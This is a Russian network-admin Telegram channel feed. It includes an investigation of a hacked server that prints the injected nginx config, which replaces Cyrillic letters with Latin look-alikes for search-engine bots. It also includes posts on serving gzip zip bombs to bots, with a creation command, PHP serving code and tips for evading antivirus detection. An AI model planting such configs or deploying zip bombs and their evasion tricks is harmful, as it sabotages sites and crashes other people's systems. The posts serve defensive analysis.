Сетевик Джонни // Network Admin
6.33K subscribers
516 photos
56 videos
377 links
Я Сетевик Джонни, моя цель в телеграме рассказать все о сетях в доступной форме!

Владелец: @williamacy

Сотрудничество: @stein_media

Купить рекламу: https://telega.in/c/iscode
Download Telegram
Сетевик Джонни // Network Admin
🥷 Джонни вещает: но как же посмотреть наш конфиг? (ч.3)

Если моя мысль верна и проблема только в переменной ngx_dump_config попробуем установить её c помощью gdb, благо ключик --with-cc-opt -g присутствует и надеемся, что оптимизация -O2 нам не помешает. При этом, раз я не знаю как ngx_dump_config могла быть обработана в case 'T':, не будем вызывать этот блок, а установим её используя case 't':

По шагам:
устанавливаем точку останова в функции main()
запускаем программу
изменяем значение переменной определяющей вывод конфига ngx_dump_config=1
продолжаем/завершаем программу

Как видим реальный конфиг отличается от нашего, выделяем из него паразитный кусок:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;


Рассмотрим по порядку что же здесь происходит, итак, определяются User-Agent'ы yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}


Исключаются служебные страницы wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}


И для тех, кто попал под оба условия:

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}


в тексте html-страницы изменяется 'о' на 'o' и 'а' на 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;


Именно так, тонкость только в том что 'а' != 'a' так же как и 'о' != 'o'(см. прикреплённое фото). Таким образом боты поисковых систем получают вместо нормального 100%-кириллического текста модифицированный мусор разбавленный латинскими 'a' и 'o'. Не берусь рассуждать, как это влияет на SEO, но вряд ли такая буквенная мешанина позитивно скажется на позициях в выдаче.

#Linux #nginx #unix | @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
🥷 Джонни вещает: Студент разработал проект открытого ноутбука за полгода 🔧

Байран Хуан, студент Академии Филлипса, собрал ноутбук с открытой архитектурой за один семестр. Устройство получило название anyon_e, оно оснащено дисплеем AMOLED 4K, механической клавиатурой Cherry MX и батареей, которая обеспечивает около семи часов автономной работы.

По словам Хуана, он хотел с нуля создать гаджет, «который бы обладал всеми качествами современного коммерческого тонкого и лёгкого ноутбука».

Rockchip RK3588 SoC был встроен в систему-на-модуле FriendlyElec CM3588 с 16 ГБ памяти LPDDR4X. Спецификации SoC включали четырёхъядерные Cortex-A76 и Cortex-A55 CPU, Mali-G10 GPU и NPU, который выводит 6TOPS.

Некоторые детали студент создал сам, например материнскую плату ноутбука и его корпус.

Ноутбук может воспроизводить 8K-видео со скоростью 60 кадров в секунду, а его порты ввода-вывода включают два USB3.1, PCIe 3.0 x4 и HDMI 2.1/eDP 1.4.

Для разработки операционной системы Байран применил ядро/дистрибутив ubuntu-rockchip.

🍒 В итоге Байран показал ноутбук, который внешне напоминает устройства Asus и Apple. При этом anyon_e загружается на три секунды быстрее, чем собственный MacBook Pro Хуана.

#News | 😏 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🥷 Джонни вещает: репозиторий 101 Linux Commands eBook

Содержит бесплатную электронную книгу, в которой собрано 101 базовых и продвинутых команд Linux.

Она ориентирована на пользователей, желающих улучшить свои навыки работы с Linux, и включает примеры использования, объяснения и полезные советы для каждой команды.
Это удобный ресурс для обучения и повседневной работы с системами на основе Linux.

Basics;
- File Hierarchy Standard (FHS);
- Commands;
Disk and File System Management;
- General Disk Manipulation (non-LVM);
- Globs (Wildcards);
- Regex;
- Stream redirection;
Text Readers & Editors;
- Less;
- VI;
User and Group Management;
File System Permissions;
SSH;
Cronjobs;
Package Management;
- RPM;
- YUM;
List of commands by category:
- Directory Navigation;
- File Commands;
- File and Directory Manipulation;
- Package archive and compression tools;
- System commands;
- Networking Commands;
- Package Management;
- User Information commands;
- Session commands;
- Getting Help;
- Applications.

#repository #manual | 😏 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from STEIN: ИБ, OSINT
🥸 Взломай цензуру за 10 минут: искусство мимикрии в эпоху блокировок

Представьте: ваш VPN становится невидимкой для цензоров, маскируясь под обычный трафик Google. Никаких блокировок, никаких подозрений.

— В этой статье вы не просто узнаете, как настроить такой «стелс» за 10 минут через удобный 3x-UI интерфейс, но и поймёте, почему VLESS с XTLS-Reality — это золотой стандарт обхода запретов в 2025.

дорогие сабы, просьба, поставьте ↑ на Хабре, верю в вас

habr.com/ru/users/stein_osint/

#VPN #VLESS | 😈 @secur_researcher
Please open Telegram to view this post
VIEW IN TELEGRAM
🥷 Джонни вещает: сказ о том, как два сервера изменили судьбу сетевой команды

Жили были два сервера. Да и не сервера вовсе, а виртуальные машины. Жили не тужили, добро наживали, скриптами разными обрастали. Три года они трудились на славу облака да во имя автоматизации. Пока не наступили чёрные дни для RAID-массива на гипервизоре.

habr.com

#Network #CICD #Automotization | 😏 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
🥷 Проблема ботов и идея защиты, или о том как я использую zip-бомбы для защиты своего сервера

Основной объём трафика в вебе возникает из-за ботов. По большей части, эти боты используются для обнаружения нового контента. Это читалки RSS-фидов, поисковые движки, выполняющие краулинг вашего контента, а сегодня и боты ИИ, собирающие контент, чтобы скармливать его LLM. Но есть и зловредные боты. Их создают спамеры, скрейперы контента и хакеры. На моём прежнем месте работы бот обнаружил уязвимость Wordpress и встроил в наш сервер зловредный скрипт, а затем превратил машину в ботнет, используемый для DDOS.

Один из моих первых веб-сайтов был полностью выдавлен из поиска Google из-за ботов, генерирующих спам. Мне нужно было найти способ защиты от этих ботов, поэтому я начал пользоваться zip-бомбами.

Zip-бомба — маленький сжатый файл, который при распаковке перегружает систему. Исторически сжатие (gzip) ускоряло загрузку страниц, уменьшая размер текста, CSS, JS. Браузеры и боты поддерживают сжатие через заголовок Accept-Encoding: gzip, deflate. Эту же особенность можно использовать против зловредных ботов.

Но как именно zip-бомбы ломают ботов? И как их создать, не навредив себе? К технической стороне перейдём в следующем посте.

#ZIP | 😊 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
🥷 Проблема ботов и идея защиты, или о том как я использую zip-бомбы для защиты своего сервера(ч.2)

Механизм работы zip-бомб и их реализация:
Когда зловредный бот отправляет запрос, сервер имитирует успешный ответ (200 OK), но вместо реальных данных передаёт zip-бомбу. Ключевой момент — заголовок Content-Encoding: gzip, который заставляет бота автоматически распаковывать файл. Вот что происходит дальше:

Ловушка для бота
Большинство ботов слепо доверяют заголовкам сжатия. Получив файл, они начинают его распаковывать в память, не проверяя содержимое. Например, файл 10GB.gz весит всего 10 МБ, но содержит 10 ГБ нулевых байтов, сжатых многократно. Распаковка требует в 1000 раз больше памяти, чем исходный файл.
- Боты, написанные на языках с ручным управлением памятью (например, C/C++), крашатся из-за переполнения буфера.
- Скрипты на Python или Node.js выбрасывают исключения MemoryError, так как исчерпывают лимиты выделенной памяти.
- Даже если бот выживает, обработка гигабайтов "мусора" затягивает время выполнения, что делает атаку невыгодной для злоумышленника.

Технические нюансы создания zip-бомбы
Команда dd if=/dev/zero bs=1G count=10 | gzip -c > 10GB.gz работает так:

dd читает нулевые байты из /dev/zero блоками по 1 ГБ (10 блоков = 10 ГБ).

gzip сжимает данные, но из-за повторяющихся нулей степень сжатия максимальна.

Итоговый файл 10GB.gz будет многослойным: при распаковке он может генерировать вложенные архивы (если использовать рекурсивное сжатие), но в данном случае это простой поток нулей.

Важно! Современные антивирусы и системы анализа трафика могут блокировать такие файлы. Чтобы усложнить обнаружение, можно:
- Добавить случайные данные в начало файла.
- Использовать формат zlib вместо gzip.
- Создать бесконечно распаковывающийся архив через рекурсивное сжатие (например, с помощью pigz).

Интеграция с сервером

Для автоматизации защиты я добавил на сервер middleware, который:
- Проверяет IP по чёрному списку (например, через Fail2ban или базы вроде AbuseIPDB).
- Анализирует поведение: частоту запросов, подозрительные User-Agent (например, Python-urllib), попытки инъекций в URL.
- Использует ханипоты — фейковые страницы-ловушки, на которые попадают только боты (например, скрытые ссылки).

Пример логики на PHP:

// Проверяем признаки бота
$isMalicious = checkMaliciousPatterns($_SERVER['REQUEST_URI'])
|| isIPBlacklisted($_SERVER['REMOTE_ADDR'])
|| isUserAgentSuspicious($_SERVER['HTTP_USER_AGENT']);

if ($isMalicious) {
// Отправляем zip-бомбу
header("HTTP/1.1 200 OK");
header("Content-Encoding: gzip");
header("Content-Type: text/html"); // Маскируем под HTML
header("Content-Length: " . filesize($bombPath));
readfile($bombPath);
exit();
}


Zip-бомбы — это «грубая сила» в мире защиты от ботов. Они не заменят WAF (Web Application Firewall) или CAPTCHA, но станут дополнительным слоем обороны против простых атак.
Please open Telegram to view this post
VIEW IN TELEGRAM
🥷 Инструменты для работы с резервным копированием PostgreSQL

Базы данных — замечательный инструмент, без которого сложно представить современное приложение. И как бы сильно я ни любил использовать БД, я просто ненавижу писать SQL-запросы. Поэтому однажды задался вопросом, кто мог бы делать это за меня, при этом несильно теряя в качестве.

Для начала рассмотрим несколько CLI-инструментов, которые позволят нам работать с резервными копиями

pg_dump <название БД>

Стандартная утилита для создания копий. Для лучшего понимания предлагаю вкратце ознакомиться с тем, как она реализована. Рассмотрим шаги внутренней работы:

Подключение к БД: авторизация такая же, как и у обычного клиента, используется библиотека С — libpq.
Чтение схемы: посредством запросов SELECT * FROM ...
Создание структуры: строится дерево объектов, которое затем преобразуется в соответствующий формат.
Сохранение данных: отдельно сохраняются данные из БД.
Запись в конечный файл: в зависимости от типа резервной копии сохраняется либо в бинарник, либо в текстовый файл всю копию, включающую структуру и данные.

Ключи:
-U имя пользователя
-h хост
-p порт
-F формат дампа: p (plain), c (custom), d (directory), t (tar)
-f путь к файлу вывода
-d название базы данных
--table=имя снять дамп только одной таблицы
--schema=имя только определённая схема
-v подробный вывод
--data-only только данные, без схемы
--schema-only только схема, без данных
--inserts использовать INSERT вместо COPY

pg_dumpall

По сути тот же pg_dump, но делает дамп сразу всего кластера. Однако отметим сразу, что данная утилита не поддерживает указание форматов, копия создаётся только в формате SQL. Давайте начнём также с реализации:

Подключение к БД: аналогично pg_dump.
Получение имён всех БД: посредством запросов SELECT datname FROM pg_database WHERE datallowconn.
Сохранение всех глобальных объектов.
Получение списка БД: вызывается команда pg_dump для каждой базы.
Создание общего файла дампа: все дампы объединяются в один поток вывода и записываются в файл аналогично pg_dump.

Ключи:
-U имя пользователя
-h хост
-p порт
-f файл вывода
-v подробный вывод
--globals-only только роли и настройки
--roles-only только роли
--data-only только данные

pg_restore <путь к дампу>

Инструмент для восстановления БД из дампа. Под капотом всё просто:

Чтение копии: считывается TOC (table of contents), определяется, в каком порядке необходимо восстанавливать данные.
Фильтрация: происходит по определённым параметрам, которые задаются при запуске утилиты.
Соединение с БД: посредством знакомой нам уже libpq. Также, если выбран многопоточный режим, то для каждого потока будет отдельное соединение.
Восстановление: исполнение SQL-команд.

Ключи:
-U имя пользователя
-h хост
-p порт
-d целевая база данных
-F формат (обычно не нужен — определяется автоматически)
-v подробный вывод
-c удалить объекты перед созданием
-C создать базу перед восстановлением
-j N параллельное восстановление (N — число потоков)
--list показать содержимое дампа
--schema восстановить только указанную схему
--table восстановить только указанную таблицу

В этом посте мы разобрались с CLI-инструментами, в следующем посте перейдём к формату дампов, поддержите реакцией.

@postgresql | 😊 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🥷 Джонни вещает: в поисках возможного взлома (ч.3)

Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.

Если моя мысль верна и проблема только в переменной ngx_dump_config попробуем установить её c помощью gdb, благо ключик --with-cc-opt -g присутствует и надеемся, что оптимизация -O2 нам не помешает. При этом, раз я не знаю как ngx_dump_config могла быть обработана в case 'T':, не будем вызывать этот блок, а установим её используя case 't':

По шагам:
– устанавливаем точку останова в функции main()
– запускаем программу
– изменяем значение переменной определяющей вывод конфига ngx_dump_config=1
– продолжаем/завершаем программу

Как видим реальный конфиг отличается от нашего, выделяем из него паразитный кусок:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;


🔍 Рассмотрим по порядку что же здесь происходит.

Определяются User-Agent'ы yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}


Исключаются служебные страницы wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}


И для тех, кто попал под оба вышеперечисленных условия

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}


в тексте html-страницы изменяется 'о' на 'o' и 'а' на 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;


Именно так, тонкость только в том что 'а' != 'a' так же как и 'о' != 'o'

Таким образом боты поисковых систем получают вместо нормального 100%-кириллического текста модифицированный мусор разбавленный латинскими 'a' и 'o'.

#Linux #nginx #unix | @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
🟧🟧🟧🟧

Какие знания ключевые для успешного ИБ-специалиста?

🔴 Знание компьютерных сетей позволяет выявлять 70% уязвимостей, настраивать защиту и анализировать трафик, что критично для предотвращения 90% атак.

Освойте сети за 4 месяца на курсе от Академии Кодебай 😎. Запись до 12 июня — дарим доступ к hackerlab.pro. Регистрация здесь.

Курс создан для:
Junior IT-специалистов, системных администраторов, Web-разработчиков, сетевых инженеров, которые хотят досконально освоить архитектуру сетей

Содержание курса:
Изучение топологии сетей, видов сетевого оборудования
Маршрутизация данных и управление доступом к среде
Протокол IP, транспортный и прикладной уровни
Система имен DNS, безопасность в сетях и противодействие атакам

🚀 По всем вопросам пишите @Codeby_Academy
Please open Telegram to view this post
VIEW IN TELEGRAM